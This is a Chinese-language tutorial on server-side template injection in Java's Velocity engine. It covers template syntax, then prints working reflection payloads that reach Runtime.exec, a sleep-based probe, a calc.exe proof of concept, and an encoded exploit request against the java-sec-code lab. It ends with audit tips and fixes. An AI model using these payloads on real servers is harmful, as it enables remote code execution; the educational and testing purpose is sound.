SSTI漏洞
SSTI全称Server Side Template Injection
,在Java中常用的模板语言有FreeMarker
、Velocity
、Thymeleaf
、Spring View Manipulation
、Pebble
、JinJava
及Hubspot
等等。
模板引擎支持在运行时使用HTML页面中的实际值替换变量/占位符,从而让HTML页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。
Velocity引擎SSTI
Velocity 是一个基于 Java 的模板引擎。它允许网页设计者引用 Java 代码中定义的方法。网页设计者可以与Java程序员并行,按照模型-视图-控制器(MVC)模型开发网站,这意味着网页设计者可以只专注于创建一个精心设计的网站,而程序员可以专注于编写顶部-缺口代码。Velocity 将 Java 代码与网页分离,从长远来看,使网站更易于维护,并提供了Java 服务器页面(JSP) 或PHP的可行替代方案。
Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。完成后,Velocity 将为Turbine Web 应用程序框架提供模板服务。Velocity+Turbine 将提供模板服务,允许根据真正的 MVC 模型开发 Web 应用程序。
Velocity语法介绍
VTL(Velocity Template Language) 语句以*#
字符开头并包含一个指令:set。当在线访问者请求您的网页时,Velocity 模板引擎会在您的网页中搜索所有#
字符,然后确定哪些标记了VTL 语句的开头,哪些#
*字符与VTL
无关。
简单概括:
引用以$开头,用于获取某些东西。指令以#开头,用于做某事
赋值语句
1
2
3
4<html>
<body>
#set( $foo = "Velocity" )
你好 $foo 世界!</正文> </html>注释
注释采用
#
放在段开头来表示,如果想表示多行注释,将#
放在一头一尾即可1
2
3
4
5
6## 这是单行注释。
#
这是
多行注释。
#变量&属性&方法
同php一样,采用
$
表示变量,.
表示属性1
2
3
4
5
6#a变量
$a="test"
#a变量的Value属性
$a.Value
#a变量的setValue方法
$a.setValue("velocity")注意:从Velocity1.6开始支持可变参数的方法,如
1
2$sun.setPlanets(String... planets)
$sun.setPlanets(String[] planets)属性也存在查找顺序,当输入
$customers.address
时查找顺序如下1
2
3
4getaddress()
getAddress()
get("address")
isAddress()如果是
$customers.Address
则大小写相反1
2
3
4getAddress()
getaddress()
get("Address")
isAddress()正式界定符
{}
(Formal Reference Notation)采用
{}
作为界定字符串的含义1
2$appletree // 有歧义
${apple}tree //无歧义不解析符号
如果想要不解析只需要用
#[[]]#
将模板语言包裹起来1
2
3
4
5
6
7
8
9
10#[[
#foreach ($woogie in $boogie)
nothing will happen to $woogie
#end
]]#
结果:
#foreach ($woogie in $boogie)
nothing will happen to $woogie
#endif/else/elseif
1
2
3
4
5
6
7
8
9#if( $foo < 10 )
**Go North**
#elseif( $foo == 10 )
**Go East**
#elseif( $bar == 6 )
**Go South**
#else
**Go West**
#endfor each
1
2
3
4
5<ul>
#foreach( $product in $allProducts )
<li>$product</li>
#end
</ul>include指令
1
2
3#include( "one.txt" )
#include( "one.gif","two.txt","three.htm" )
#include( "greetings.txt", $seasonalstock )默认只引入
TEMPLATE_ROOT
下的文件,且不进行解析parse指令
parse标签跟include不同的就是会进行解析模板语言
1
#parse( "me.vm" )
evalute指令
The #evaluate directive can be used to dynamically evaluate VTL
1
2
3
4
5#set($source1 = "abc")
#set($select = "1")
#set($dynamicsource = "$source$select")
## $dynamicsource is now the string '$source1'
#evaluate($dynamicsource)输出abc
Define指令
Define指令用于指定一块VTL给变量
1
2
3#define( $block )Hello $who#end
#set( $who = 'World!' )
$block更多用法:https://velocity.apache.org/engine/1.7/user-guide.html#the-mud-store-example
Velocity SSTI
$class.inspect(类/对象/字符串) | 返回检查指定类或对象的新 ClassTool 实例 |
---|---|
$class.type | 返回正在检查的实际类 |
换句话说,我们可以将$class.inspect与$class.type 链接起来以获取对任意对象的引用。然后我们可以使用Runtime.exec()在目标系统上执行任意 shell 命令。这可以使用以下模板进行确认
该模板旨在引起明显的时间延迟。
1 | %24class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep%205").waitFor() |
确认存在SSTI之后就可以通过反射进行命令执行
命令执行的payload
1 | #set($str=$class.inspect("java.lang.String").type) |
弹calc的payload
1 | #set($a="ddd");$a.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe") |
其他Java模板引擎的语法及payload
SSTI代码审计例子
SSTI代码审计思路:
- 通过代码查看模板引擎类型
- 学习对应的语法或直接使用payload来fuzz
使用java-sec-code的ssti作为例子,在SSTI.java文件处存在SSTI漏洞
对velocity模板处理器进行初始化,创建上下文(context)环境后接收$templete变量作为执行的模板
传入命令执行payload
1 | /ssti/velocity?template=%23set($a=%22ddd%22);$a.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc.exe%22) |
成功弹出calc
SSTI自动注入工具tplmap
项目地址:https://github.com/epinna/tplmap
SSTI漏洞修复
- 对用户输入进行过滤,对能够控制变量的定界符进行拦截。
- 如果需要向用户提供模板编辑功能,选择无逻辑模板引擎,如Handlebars、Moustache等